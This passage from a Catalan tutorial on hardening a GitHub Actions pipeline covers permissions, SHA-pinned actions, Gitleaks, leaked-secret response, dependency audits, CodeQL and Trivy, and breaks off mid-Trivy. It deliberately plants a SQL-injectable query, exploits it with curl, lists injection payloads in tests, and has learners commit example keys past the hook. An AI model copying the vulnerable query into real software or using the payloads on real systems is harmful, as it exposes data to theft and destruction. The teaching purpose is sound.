El pipeline que has construït en les quatre lliçons anteriors funciona: prova, construeix, publica, desplega, vigila i reverteix sol. També és, ara mateix, deliberadament permissiu. Té un token amb més permisos dels que necessita, executa codi de tercers que apunta a etiquetes que els seus autors poden moure quan vulguin, no mira mai si hi ha cap secret a l'historial, no sap quines vulnerabilitats arrosseguen les seves dependencies, construeix imatges que ningú no ha escanejat i desplega artefactes l'autenticitat dels quals no verifica.
Això no és un descuit del curs: és l'estat real del 80 % dels pipelines en producció, i és exactament el punt des del qual es fa aquest exercici. Auditaràs la teva pròpia feina, escriuràs la llista del que està malament i ho arreglaràs peça a peça —comprovant cada arranjament amb un atac simulat—. Cometràs un secret expressament per veure com el detector el caça i executar el procediment de resposta complet. Introduiràs una injecció evident per veure com CodeQL la troba. Intentaràs imprimir un secret per veure que surt emmascarat, i després el transformaràs lleugerament per veure que l'emmascarat es trenca. I veuràs, amb un exemple concret i executable, l'atac que fa de pull_request_target el parany més perillós de GitHub Actions.
Contingut
- Objectiu, requisits previs i punt de partida
- L'auditoria: què està malament al teu pipeline
permissionsde mínim privilegi- Fixar les accions per SHA
- Detecció de secrets amb Gitleaks
- El procediment de resposta davant d'un secret filtrat
- SCA:
npm audit, Dependabot i la política de severitats - SAST: CodeQL i una vulnerabilitat de debò
- Escaneig de la imatge amb Trivy i excepcions que caduquen
- SBOM i signatura amb Cosign
- Verificar la signatura abans de desplegar
- Secrets ben gestionats i els límits de l'emmascarat
- El risc del codi de tercers:
pull_request_target - La checklist final d'enfortiment
- Errors Comuns i Consells
- Exercicis
- Conclusió
- Objectiu, requisits previs i punt de partida
Objectiu. En acabar, el teu pipeline tindrà permisos mínims verificats, accions fixades per SHA, els cinc escaneigs de seguretat amb una política de severitats explícita, un SBOM i una signatura que es verifica abans de desplegar, i cap secret de llarga vida al camí crític.
Requisits previs. Les lliçons 07-01 a 07-04 completades. Docker funcionant.
Punt de partida. El repositori després de la 07-04: ci.yml, cd.yml, rollback.yml, dora.yml, la pila d'observabilitat i els scripts.
- L'auditoria: què està malament al teu pipeline
Abans d'arreglar res, cal veure-hi. Recorre els teus propis fitxers amb aquesta llista i marca el que hi trobis. És la mateixa llista que faries servir per auditar el pipeline d'un altre equip.
# Eina d auditoria rapida: quines accions fas servir i com estan fixades
grep -rhoP '(?<=uses: ).*' .github/workflows/ | sort -u
# Quins jobs declaren permisos
grep -rn -A3 'permissions:' .github/workflows/
# Quins secrets es fan servir i on
grep -rn 'secrets\.' .github/workflows/| # | Troballa | On | Risc | Severitat |
|---|---|---|---|---|
| 1 | Jobs sense permissions explícit |
dora.yml, jobs del cd.yml |
El GITHUB_TOKEN hereta el permís per defecte del repositori; si està en read and write, qualsevol pas pot escriure al repo, esborrar branques o publicar paquets |
Alta |
| 2 | Accions fixades per tag flotant (@v4) |
Tots els workflows | El propietari de l'acció —o qui li comprometi el compte— pot moure v4 a codi maliciós que s'executarà al teu runner amb els teus secrets |
Alta |
| 3 | Cap escaneig de secrets | Tot el repositori | Una clau comesa viu a l'historial per sempre i ningú no se n'assabenta | Crítica |
| 4 | Cap SCA | package.json |
No saps quins CVE arrossegues; better-sqlite3 és un mòdul natiu amb codi C |
Alta |
| 5 | Cap SAST | src/ |
Injeccions i patrons perillosos passen la revisió humana | Mitjana |
| 6 | La imatge no s'escaneja | Dockerfile |
La base node:20-bookworm-slim acumula CVE del sistema operatiu entre reconstruccions |
Alta |
| 7 | No hi ha SBOM ni signatura | Registre | No pots respondre «estem afectats pel CVE-X?» ni demostrar que la imatge que desplegues és la que vas construir | Mitjana |
| 8 | GRAFANA_TOKEN com a secret de repositori |
cd.yml |
Credencial de llarga vida accessible des de qualsevol job de qualsevol workflow, inclosos els que encara no has escrit | Mitjana |
| 9 | Secrets passats per env: a nivell de workflow |
Diversos | Tots els passos els veuen, inclosos els que executen codi de tercers | Mitjana |
| 10 | Sense política de què trenca el build | — | Cada troballa es discuteix des de zero i acaba ignorant-se | Mitjana |
Deu troballes en un pipeline que has escrit tu seguint un curs. Això ja és la primera lliçó: la seguretat d'un pipeline no emergeix d'escriure'l bé; s'hi ha d'afegir expressament.
El pla de la lliçó, en ordre de cost creixent i de risc decreixent:
flowchart TD
A["Auditoria<br/>10 troballes"] --> B["1. permissions<br/>minim privilegi"]
B --> C["2. Accions per SHA"]
C --> D["3. Gitleaks<br/>deteccio de secrets"]
D --> E["4. SCA<br/>npm audit + Dependabot"]
E --> F["5. SAST<br/>CodeQL"]
F --> G["6. Trivy<br/>escaneig de la imatge"]
G --> H["7. SBOM + signatura<br/>Cosign keyless"]
H --> I["8. Verificar signatura<br/>abans de desplegar"]
I --> J["Checklist final"]
permissions de mínim privilegi
permissions de mínim privilegiEl GITHUB_TOKEN és una credencial que GitHub injecta a cada job i que caduca en acabar l'execució. El seu abast per defecte depèn d'una configuració del repositori, i en repositoris antics acostuma a ser read and write sobre tot: continguts, issues, packages, deployments, pàgines. Un pas compromès amb aquest token pot empènyer a main.
Pas 1 — tancar l'aixeta per defecte:
Settings → Actions → General → Workflow permissions → Read repository contents and packages permissions. I desmarca Allow GitHub Actions to create and approve pull requests.
gh api --method PUT "repos/{owner}/{repo}/actions/permissions/workflow" \
-f default_workflow_permissions=read \
-F can_approve_pull_request_reviews=falsePas 2 — declarar el permís mínim, a cada workflow i a cada job.
La taula del que necessita cada job del pipeline:
| Workflow / job | Permisos necessaris | Per què |
|---|---|---|
ci.yml (global) |
contents: read |
Només clonar |
ci.yml → publicar |
contents: read, packages: write, id-token: write |
Escriure a ghcr.io i signar per OIDC |
ci.yml → codeql |
contents: read, security-events: write, actions: read |
Pujar resultats a la pestanya Security |
cd.yml (global) |
contents: read |
— |
cd.yml → staging/produccio |
contents: read, packages: read |
Descarregar la imatge |
cd.yml → web |
contents: read, pages: write, id-token: write |
Publicar a Pages |
cd.yml → vigilar |
contents: read, actions: write |
Llançar rollback.yml |
dora.yml |
contents: read, deployments: read, actions: read |
Llegir desplegaments i execucions |
rollback.yml |
contents: read, packages: read |
— |
La regla: permissions a nivell de workflow amb el mínim absolut, i ampliació puntual només al job que ho necessita. Un permissions a nivell de workflow substitueix el valor per defecte completament: si hi escrius packages: write, tots els altres permisos passen a none, cosa que és una manera còmoda de descobrir quins feien falta.
# .github/workflows/ci.yml
permissions:
contents: read # tota la resta queda en `none`
jobs:
qualitat:
# sense bloc `permissions`: hereta contents: read
...
publicar:
permissions:
contents: read
packages: write # nomes aquest job pot escriure al registre
id-token: write # nomes aquest job pot demanar un token OIDC
...Comprovació que falla quan ha de fallar. Treu temporalment packages: write del job publicar i empeny:
ERROR: failed to push ghcr.io/el-teu-usuari/mini-reservalia:sha-8f3c1e2: denied: installation not allowed to Create organization package
Aquest missatge és enganyós —parla d'«organization package» tot i que sigui el teu compte personal—, i per això val la pena provocar-lo un cop: la propera vegada que el vegis en un pipeline aliè sabràs en tres segons que és un permissions que falta, i no una configuració del registre.
Altres missatges que volen dir el mateix:
| Missatge | Permís que falta |
|---|---|
Resource not accessible by integration |
Gairebé sempre contents: write, issues: write o pull-requests: write |
denied: installation not allowed to Create organization package |
packages: write |
Error: Unable to get ACTIONS_ID_TOKEN_REQUEST_URL |
id-token: write |
HttpError: Resource not accessible by integration en pujar SARIF |
security-events: write |
- Fixar les accions per SHA
uses: actions/checkout@v4 vol dir «executa el que hi hagi avui a l'etiqueta v4 del repositori actions/checkout». Una etiqueta de Git es pot moure. Si algú compromet el compte del mantenidor d'una acció popular i mou l'etiqueta, el seu codi s'executa al teu runner, amb accés al teu sistema de fitxers, als teus secrets i al teu GITHUB_TOKEN, a tots els repositoris del món que la facin servir. No és hipotètic: ha passat amb accions molt utilitzades.
Fixar per SHA elimina tota la classe d'atac, perquè un SHA és el contingut.
Un script que ho fa per tu a tot el repositori:
#!/usr/bin/env bash
# scripts/fixar-accions.sh
# Substitueix `owner/repo@vX` per `owner/repo@<sha> # vX` als workflows.
set -Eeuo pipefail
command -v gh >/dev/null || { echo "Cal la CLI de GitHub (gh)"; exit 2; }
for fitxer in .github/workflows/*.yml; do
echo "== $fitxer"
# Nomes les accions de repositori (owner/repo@ref); s exclouen
# les locals (./.github/actions/...) i les de docker://
grep -oP '(?<=uses: )[\w.-]+/[\w.-]+(?:/[\w.-]+)*@[\w.-]+' "$fitxer" | sort -u | while read -r ref; do
accio="${ref%@*}"
versio="${ref#*@}"
# Si ja son 40 caracters hexadecimals, esta fixada: no tocar.
[[ "$versio" =~ ^[0-9a-f]{40}$ ]] && continue
repo="$(cut -d/ -f1,2 <<< "$accio")"
sha="$(gh api "repos/${repo}/git/refs/tags/${versio}" --jq '.object.sha' 2>/dev/null || true)"
# Les etiquetes anotades apunten a un objecte tag, no al commit:
# cal desreferenciar-les.
if [ -n "$sha" ]; then
tipus="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha' 2>/dev/null || true)"
[ -n "$tipus" ] && sha="$tipus"
fi
[ -z "$sha" ] && { echo " ! no s ha pogut resoldre $ref"; continue; }
echo " $ref -> $sha"
sed -i "s|uses: ${accio}@${versio}\$|uses: ${accio}@${sha} # ${versio}|g" "$fitxer"
done
done
echo "Fet. Revisa el diff abans de cometre."Què has de veure:
- - uses: actions/checkout@v4
+ - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- - uses: actions/setup-node@v4
+ - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0El comentari # v4.2.2 és imprescindible: sense ell, el fitxer es torna il·legible i ningú no sap si està actualitzat. Amb ell, Dependabot pot actualitzar-lo automàticament (apartat següent) i tu el pots llegir.
Com mantenir-ho actualitzat sense feina manual. Fixar per SHA sense automatitzar l'actualització crea un problema diferent: accions congelades durant anys, amb els seus propis bugs i CVE. La solució és Dependabot, que entén el comentari i obre PR amb el SHA nou. .github/dependabot.yml:
version: 2
updates:
# 1. Les accions de GitHub Actions
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
day: monday
time: '06:00'
open-pull-requests-limit: 5
commit-message:
prefix: 'ci'
labels: ['dependencies', 'ci']
# 2. Les dependencies de npm
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
open-pull-requests-limit: 10
commit-message:
prefix: 'deps'
labels: ['dependencies']
groups:
# Agrupar les de desenvolupament en un sol PR: 8 PR de pedacos
# d eslint per setmana es la manera mes rapida que l equip apreng
# a ignorar els PR de Dependabot.
desenvolupament:
dependency-type: development
update-types: ['minor', 'patch']
ignore:
# Les majors es revisen a ma, no automaticament.
- dependency-name: '*'
update-types: ['version-update:semver-major']
# 3. La imatge base del Dockerfile
- package-ecosystem: docker
directory: /
schedule:
interval: weekly
labels: ['dependencies', 'docker']
- Detecció de secrets amb Gitleaks
Un secret comès és un secret públic, encara que el repositori sigui privat i encara que l'esborris al commit següent: continua a l'historial, als forks, a les memòries cau dels clients i als mirrors de tercers que rasquen GitHub en temps real. El temps mitjà entre que es publica una clau d'AWS a GitHub i que algú la fa servir es mesura en minuts.
Configuració, .gitleaks.toml:
# .gitleaks.toml
title = "Mini-Reservalia"
# Partim de les ~150 regles per defecte de Gitleaks i hi afegim les nostres.
[extend]
useDefault = true
[[rules]]
id = "token-intern-reservalia"
description = "Token intern de Reservalia (rsv_...)"
regex = '''rsv_[a-zA-Z0-9]{32}'''
tags = ["clau", "intern"]
[[rules]]
id = "url-postgres-amb-contrasenya"
description = "Cadena de connexio de PostgreSQL amb contrasenya"
regex = '''postgres(?:ql)?://[^:\s]+:[^@\s]{6,}@[^\s/]+'''
tags = ["base-dades"]
[allowlist]
description = "Falsos positius coneguts i justificats"
paths = [
'''package-lock\.json''', # els integrity hashes semblen claus
'''(.*?)(jpg|png|webp|pdf)$''',
'''cursos_contenido/.*\.md$''',
]
regexes = [
'''EXAMPLE|EXEMPLE|xxxxx|CANVIA_ME|placeholder''', # valors de documentacio
'''postgres://postgres:prova@localhost''', # el de les proves de la 07-02
]El job:
secrets:
name: Deteccio de secrets
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
# fetch-depth: 0 escaneja TOT l historial, no nomes l ultim commit.
# Es mes lent pero es l unica manera de trobar el que ja hi ha a dins.
fetch-depth: 0
- name: Gitleaks
uses: gitleaks/gitleaks-action@83373cf2f8c4db6e24b41c1a9b086bb9619e9cd3 # v2.3.7
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_ENABLE_UPLOAD_ARTIFACT: 'true'
GITLEAKS_ENABLE_SUMMARY: 'true'O bé, sense dependre d'una acció de tercers —preferible segons el criteri de la 06-07, «menys superfície de subministrament»—:
- name: Gitleaks (binari fixat per versio)
run: |
set -Eeuo pipefail
VERSION=8.21.2
curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" \
| tar -xz gitleaks
./gitleaks detect \
--source . \
--config .gitleaks.toml \
--report-format sarif \
--report-path resultats-gitleaks.sarif \
--redact \
--verbose \
--exit-code 1
# --redact: els secrets NO apareixen al log del pipeline.
# Sense aixo, el detector de secrets publica el secret en un log
# que pot llegir qualsevol amb acces al repositori.
- name: Pujar resultats a la pestanya Security
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: resultats-gitleaks.sarif
category: gitleaksAquest --redact és un detall que s'oblida constantment i que converteix l'eina en el seu propi problema: sense ell, el log del job mostra la clau sencera, i els logs d'Actions són visibles per a tots els col·laboradors i es retenen 90 dies.
Afegeix-lo també com a hook local, perquè detectar-ho a CI vol dir que ja està empès:
npm install --save-dev husky
npx husky init
cat > .husky/pre-commit <<'EOF'
#!/usr/bin/env sh
# Escaneja NOMES el que es cometra: rapid (< 1 s).
if command -v gitleaks >/dev/null 2>&1; then
gitleaks protect --staged --config .gitleaks.toml --redact --verbose || {
echo ""
echo "❌ S ha detectat un possible secret als canvis preparats."
echo " Treu-lo del codi i fes servir una variable d entorn o un secret del repositori."
echo " Si es un fals positiu, afegeix-lo a l allowlist de .gitleaks.toml."
exit 1
}
fi
npm run lint && npm test
EOF
chmod +x .husky/pre-commit
- El procediment de resposta davant d'un secret filtrat
Ara la part de l'exercici que de debò ensenya. Filtrarem un secret expressament.
git checkout -b filtrar-secret-de-prova
cat > src/config-temporal.js <<'EOF'
// FITXER DE PROVA - s esborrara. NO es un secret real.
export const CONFIG = {
// Clau d AWS amb el format exacte que busquen els detectors.
awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE',
awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
tokenIntern: 'rsv_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
baseDades: 'postgres://admin:[email protected]:5432/reservalia',
};
EOF
git add src/config-temporal.js
git commit -m "feat: configuracio temporal" # el hook ho bloqueja si el vas instal·larSi el hook ho bloqueja, això ja és mitja lliçó. Salta-te'l expressament per veure la resta del flux:
git commit --no-verify -m "feat: configuracio temporal"
git push -u origin filtrar-secret-de-prova
gh pr create --fillQuè has de veure:
- El job
Deteccio de secretsen vermell. - Al log, amb
--redact:Finding: awsAccessKeyId: 'REDACTED' Secret: REDACTED RuleID: aws-access-token File: src/config-temporal.js Line: 5 Commit: 3f8a1c2... Author: El Teu Nom ... 4 leaks found - A la pestanya Security → Code scanning, quatre alertes noves amb la categoria
gitleaks, cadascuna ancorada a la seva línia. - La comprovació
CI OKen vermell i el PR bloquejat.
El procediment, en l'ordre correcte
Aquest és el contingut de la lliçó. L'ordre no és negociable i gairebé tothom ho fa al revés.
flowchart TD
D["Deteccio"] --> R1["1. ROTAR<br/>invalidar la credencial<br/>minuts"]
R1 --> R2["2. INVESTIGAR<br/>revisar accessos amb aquesta credencial"]
R2 --> R3["3. NETEJAR<br/>reescriure historial<br/>hores o dies"]
R3 --> R4["4. PREVENIR<br/>hook + CI + formacio"]
R4 --> R5["5. POST-MORTEM<br/>sense buscar culpables"]
Pas 1 — ROTAR. Primer, i ja.
Invalida la credencial al sistema que la va emetre. A AWS: desactivar la clau i crear-ne una de nova. En un proveïdor: revocar el token. En una base de dades: canviar la contrasenya.
# Exemple amb AWS (equivalent de Reservalia)
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name servei-ci
aws iam create-access-key --user-name servei-ci
# ...actualitzar el secret a GitHub...
aws iam delete-access-key --access-key-id AKIA... --user-name servei-ci
# A GitHub
gh secret set AWS_ACCESS_KEY_ID --body "AKIA_NOVA"Per què primer. Perquè netejar l'historial no invalida res. Mentre la credencial continuï sent vàlida, continua sent utilitzable per qualsevol que ja l'hagi copiada —i els bots que rasquen GitHub la van copiar els primers minuts—. Reescriure l'historial és una tasca d'hores que a més requereix coordinar tot l'equip; rotar són dos minuts. Cada minut que dediques a netejar abans de rotar és un minut en què la porta continua oberta.
Hi ha un matís important que reforça l'ordre: reescriure l'historial avisa l'atacant. Un force-push que esborra un commit és un senyal clar de «ens n'hem adonat». Si encara no has rotat, acabes de donar-li pressa.
Pas 2 — INVESTIGAR l'ús.
# AWS CloudTrail: que es va fer amb aquesta clau i des d on
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
--start-time "$(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ)" \
--max-results 50Preguntes a respondre: es va fer servir des d'una IP desconeguda? Es van crear recursos? Es va accedir a dades? Si la resposta a qualsevol d'elles és sí, això deixa de ser un incident de seguretat del pipeline i passa a ser una bretxa, amb les obligacions legals que corresponguin.
Pas 3 — NETEJAR l'historial.
# git-filter-repo es l eina recomanada (filter-branch esta obsoleta)
pip install git-filter-repo
# Opcio A: eliminar el fitxer sencer de tot l historial
git filter-repo --path src/config-temporal.js --invert-paths --force
# Opcio B: substituir nomes els valors, conservant els fitxers
cat > /tmp/substitucions.txt <<'EOF'
AKIAIOSFODNN7EXAMPLE==>ROTAT-VEURE-INCIDENT-42
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY==>ROTAT-VEURE-INCIDENT-42
SuperSecreta2026==>ROTAT-VEURE-INCIDENT-42
EOF
git filter-repo --replace-text /tmp/substitucions.txt --force
# Reescriure el remot (COORDINA-HO amb tot l equip abans)
git remote add origin https://github.com/EL_TEU_USUARI/mini-reservalia.git
git push origin --force --all
git push origin --force --tagsI el que gairebé ningú no fa, tot i que és el que tanca el forat de debò:
# Els PR, issues i comentaris que citen el commit conserven copies.
# La memoria cau de GitHub tambe. Cal demanar a suport que la purgui:
# https://support.github.com/contact -> "Remove cached views"
# A mes: cada FORK del repositori conserva el commit SENCER,
# i tu no pots esborrar els forks d altres persones.Aquesta darrera realitat és la que justifica tot l'ordre anterior. Un secret que ha estat en un repositori amb forks no es pot esborrar. Només es pot rotar.
Pas 4 — PREVENIR. El hook de pre-commit, el job de CI, l'escaneig de tot l'historial una vegada, i la formació de l'equip sobre on van els secrets.
Pas 5 — POST-MORTEM sense culpables. La pregunta correcta no és «qui va cometre la clau?» sinó «per què era possible?». I les respostes solen ser sistèmiques: no hi havia hook, el .gitignore no cobria el fitxer de configuració, el flux local exigia escriure la clau en un fitxer, ningú no havia explicat on anaven els secrets. Totes tenen arranjament; «vés amb més compte» no en té.
Neteja l'exercici:
git checkout main
git branch -D filtrar-secret-de-prova
git push origin --delete filtrar-secret-de-prova
gh pr close <numero> 2>/dev/null || true
- SCA:
npm audit, Dependabot i la política de severitats
npm audit, Dependabot i la política de severitatsL'anàlisi de composició de programari (SCA) busca vulnerabilitats conegudes a les teves dependencies. Mini-Reservalia en té poques, però better-sqlite3 arrossega codi natiu i l'arbre de desenvolupament té més de cent paquets.
npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 2, "moderate": 1, "high": 0, "critical": 0, "total": 3 }El problema de npm audit --audit-level=high a seques és que tracta igual una vulnerabilitat crítica en producció i una de moderada en una eina de desenvolupament que mai no s'executa amb dades d'usuari. El resultat previsible: el build es trenca per alguna cosa irrellevant, algú afegeix || true, i l'escaneig deixa d'existir.
La política, explícita i al repositori. seguretat/POLITICA.md:
# Política de severitats
| Severitat | Producció | Desenvolupament | Acció | Termini |
|---|---|---|---|---|
| **Crítica** | Trenca el build | Trenca el build | Bloqueig immediat | 24 h |
| **Alta** | Trenca el build | Obre un tiquet | Bloqueig en producció | 7 dies |
| **Mitjana** | Obre un tiquet | Obre un tiquet | No bloqueja | 30 dies |
| **Baixa** | Informa | Informa | Revisió trimestral | — |
**Excepcions.** Tota excepció requereix: (a) justificació escrita,
(b) data de caducitat no superior a 90 dies, (c) aprovació d'un segon
revisor. Es registren a `seguretat/excepcions.json` i **caduquen soles**:
passada la data, el build torna a trencar-se.
**Sense `|| true`.** Si un escaneig no pot trencar el build, no és un control.
Si alguna cosa no l'ha de trencar, es decideix aquí, no al YAML.La implementació amb jq, scripts/auditar-dependencies.sh:
#!/usr/bin/env bash
# Aplica la politica de severitats sobre `npm audit --json`.
set -Eeuo pipefail
INFORME="${INFORME:-informes/audit.json}"
EXCEPCIONS="${EXCEPCIONS:-seguretat/excepcions.json}"
mkdir -p "$(dirname "$INFORME")"
# `|| true`: npm audit surt amb codi != 0 quan troba alguna cosa.
# Aqui NO ignorem el resultat: el processem nosaltres amb la politica.
npm audit --json > "$INFORME" 2>/dev/null || true
AVUI="$(date -u +%Y-%m-%d)"
# --- Excepcions vigents (les caducades s ignoren expressament) ---------------
VIGENTS='[]'
if [ -f "$EXCEPCIONS" ]; then
VIGENTS=$(jq --arg avui "$AVUI" '[.excepcions[] | select(.caduca >= $avui) | .id]' "$EXCEPCIONS")
CADUCADES=$(jq --arg avui "$AVUI" '[.excepcions[] | select(.caduca < $avui)]' "$EXCEPCIONS")
N_CADUCADES=$(jq 'length' <<< "$CADUCADES")
if [ "$N_CADUCADES" -gt 0 ]; then
echo "::warning::$N_CADUCADES excepcio(ns) de seguretat han caducat i tornen a bloquejar:"
jq -r '.[] | " - \(.id): \(.motiu) (va caducar el \(.caduca))"' <<< "$CADUCADES"
fi
fi
# --- Classificar les troballes ----------------------------------------------
BLOQUEJANTS=$(jq --argjson exc "$VIGENTS" '
[ .vulnerabilities // {} | to_entries[]
| select(.value.severity == "critical" or .value.severity == "high")
| select((.value.isDirect == true) or (.value.effects | length) > 0)
| select((.key | IN($exc[])) | not)
| { paquet: .key, severitat: .value.severity, via: (.value.via | map(if type=="object" then .title else . end)) }
]' "$INFORME")
N_BLOQ=$(jq 'length' <<< "$BLOQUEJANTS")
RESUM=$(jq -r '.metadata.vulnerabilities | "critiques: \(.critical) · altes: \(.high) · mitjanes: \(.moderate) · baixes: \(.low)"' "$INFORME")
{
echo "## Auditoria de dependencies"
echo ""
echo "**Resum:** $RESUM"
echo ""
if [ "$N_BLOQ" -gt 0 ]; then
echo "### ❌ $N_BLOQ troballa/es bloquejant(s)"
echo ""
echo "| Paquet | Severitat | Detall |"
echo "|---|---|---|"
jq -r '.[] | "| `\(.paquet)` | \(.severitat) | \(.via | join(", ") | .[0:90]) |"' <<< "$BLOQUEJANTS"
else
echo "### ✅ Sense troballes bloquejants segons la política"
fi
echo ""
echo "> Política completa a [\`seguretat/POLITICA.md\`](seguretat/POLITICA.md)"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stdout}"
if [ "$N_BLOQ" -gt 0 ]; then
echo "::error::$N_BLOQ vulnerabilitat(s) critica(es)/alta(es) sense excepcio vigent"
jq -r '.[] | " - \(.paquet) [\(.severitat)]"' <<< "$BLOQUEJANTS"
exit 1
fi
echo "Auditoria superada: $RESUM"seguretat/excepcions.json:
{
"$comentari": "Excepcions de seguretat. Cadascuna CADUCA. Vegeu seguretat/POLITICA.md.",
"excepcions": [
{
"id": "exemple-paquet",
"severitat": "high",
"motiu": "Només afecta l'anàlisi de fitxers SVG pujats per l'usuari; Mini-Reservalia no accepta pujades. Encara no hi ha pedaç (upstream #1234).",
"aprovat_per": "@marta",
"creada": "2026-04-10",
"caduca": "2026-07-09",
"revisio": "Comprovar si upstream ha publicat el pedaç"
}
]
}Tres propietats que fan que aquesta política sobrevisqui al contacte amb un equip real:
- Les excepcions caduquen soles. Passada la data, el build torna a trencar-se i surt un avís. Una excepció sense caducitat és un
|| trueamb millor presentació. - Es distingeix producció de desenvolupament. Un CVE en una eina de build és un risc real (podria comprometre la cadena de subministrament), però no el mateix que un en codi que processa peticions d'internet.
- Són al repositori. Es revisen en un PR, tenen autor i data, i qualsevol pot auditar per què es va acceptar cada risc.
- SAST: CodeQL i una vulnerabilitat de debò
L'anàlisi estàtica de seguretat busca patrons perillosos al teu codi, no al dels altres. CodeQL és gratuït en repositoris públics.
codeql:
name: SAST (CodeQL)
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
security-events: write
actions: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Inicialitzar CodeQL
uses: github/codeql-action/init@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
languages: javascript-typescript
# `security-extended` afegeix consultes de menys precisio pero mes
# cobertura. En un projecte petit el soroll es assumible; en un de
# gran, comenca per `security-and-quality` i puja des d aqui.
queries: security-extended
- name: Analitzar
uses: github/codeql-action/analyze@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
category: '/language:javascript-typescript'Ara introdueix una vulnerabilitat evident per comprovar que l'escàner serveix. A src/repositori-sqlite.js, afegeix un mètode deliberadament dolent:
/**
* VULNERABLE EXPRESSAMENT - exercici de la llico 07-05.
* Concatena l entrada de l usuari a la consulta SQL.
*/
cercarPerClient(nom) {
// ❌ INJECCIO SQL: `nom` ve d un parametre de la peticio.
// Amb nom = "' OR '1'='1" es retornen TOTES les cites.
// Amb nom = "'; DROP TABLE cites; --" es perd la taula.
return this.#db.prepare(`SELECT * FROM cites WHERE client = '${nom}'`).all();
}I a src/servidor.js, la ruta que l'exposa (perquè CodeQL vegi el camí complet des de l'entrada de l'usuari fins a la consulta, que és el que busca la seva anàlisi de flux de dades):
if (req.method === 'GET' && url.pathname === '/api/cercar') {
const nom = url.searchParams.get('client') ?? '';
// ❌ `nom` va sense sanejar a una consulta construida per concatenacio
return respondreJson(res, 200, { resultats: repositori.cercarPerClient(nom) });
}Empeny en un PR i espera l'anàlisi (2-4 minuts).
Què has de veure a Security → Code scanning:
Database query built from user-controlled sources High
src/repositori-sqlite.js:52
This query depends on a user-provided value.
← flows from: url.searchParams.get('client') (src/servidor.js:78)Clica a l'alerta: CodeQL dibuixa el camí complet des del paràmetre de la petició fins a la consulta. Aquesta anàlisi de flux de dades és el que distingeix el SAST d'una expressió regular: no busca la cadena SELECT ... ${, busca que un valor controlat per l'usuari arribi fins a un abocador perillós, encara que passi per tres funcions i dos fitxers.
Demostra't l'impacte abans d'arreglar-ho:
npm start &
curl -s "localhost:3000/api/cercar?client=Anna"
# {"resultats":[{"id":1,"client":"Anna",...}]}
curl -s "localhost:3000/api/cercar?client=%27%20OR%20%271%27=%271"
# {"resultats":[ ...TOTES les cites de TOTS els clients... ]}L'arranjament:
/**
* Cerca cites pel nom exacte del client.
* Sentencia PREPARADA amb parametre: el motor tracta el valor com a DADA,
* mai com a SQL. La injeccio es impossible per construccio, no per
* sanejat. Sanejar es un pedac; parametritzar es la solucio.
*/
cercarPerClient(nom) {
if (typeof nom !== 'string' || nom.length === 0 || nom.length > 80) {
throw new TypeError('nom de client invalid');
}
return this.#db
.prepare('SELECT id, data, inici, fi, client FROM cites WHERE client = ? ORDER BY data, inici')
.all(nom);
}I una prova que impedeix la regressió:
// test/injeccio.test.js
import test, { describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { RepositoriSqlite } from '../src/repositori-sqlite.js';
describe('resistencia a la injeccio SQL', () => {
let repo;
beforeEach(() => {
repo = new RepositoriSqlite(':memory:');
repo.crearCita({ data: '2026-03-02', inici: '10:00', fi: '10:30', client: 'Anna' });
repo.crearCita({ data: '2026-03-02', inici: '11:00', fi: '11:30', client: 'Diego' });
});
test("' OR '1'='1 no retorna totes les files", () => {
assert.deepEqual(repo.cercarPerClient("' OR '1'='1"), []);
});
test('un DROP TABLE injectat no destrueix res', () => {
repo.cercarPerClient("'; DROP TABLE cites; --");
assert.equal(repo.llistarCites('2026-03-02').length, 2); // la taula continua alli
});
test('un nom amb cometa simple es cerca literalment', () => {
repo.crearCita({ data: '2026-03-03', inici: '10:00', fi: '10:30', client: "O'Brien" });
assert.equal(repo.cercarPerClient("O'Brien").length, 1);
});
});Aquesta darrera prova és la que demostra que has parametritzat i no escapat: amb un sanejat casolà que esborra cometes, O'Brien no es trobaria mai.
Empeny l'arranjament i observa com l'alerta passa a Closed a la pestanya Security, amb la nota «Fixed in commit ...».
- Escaneig de la imatge amb Trivy i excepcions que caduquen
La teva imatge no és només el teu codi: és Debian, OpenSSL, glibc, el runtime de Node i tot el que arrosseguen. Aquestes capes acumulen CVE sense que tu canviïs una línia.
- name: Escanejar la imatge amb Trivy
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
with:
image-ref: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
format: sarif
output: trivy.sarif
severity: 'CRITICAL,HIGH'
# `0` aqui: NO trenquem amb l accio, per poder pujar SEMPRE el
# SARIF a la pestanya Security. La decisio de trencar la pren el
# pas seguent, amb la NOSTRA politica i les NOSTRES excepcions.
exit-code: '0'
ignore-unfixed: true # sense pedac disponible no hi ha accio possible
trivyignores: seguretat/.trivyignore
- name: Pujar resultats a Security
if: always()
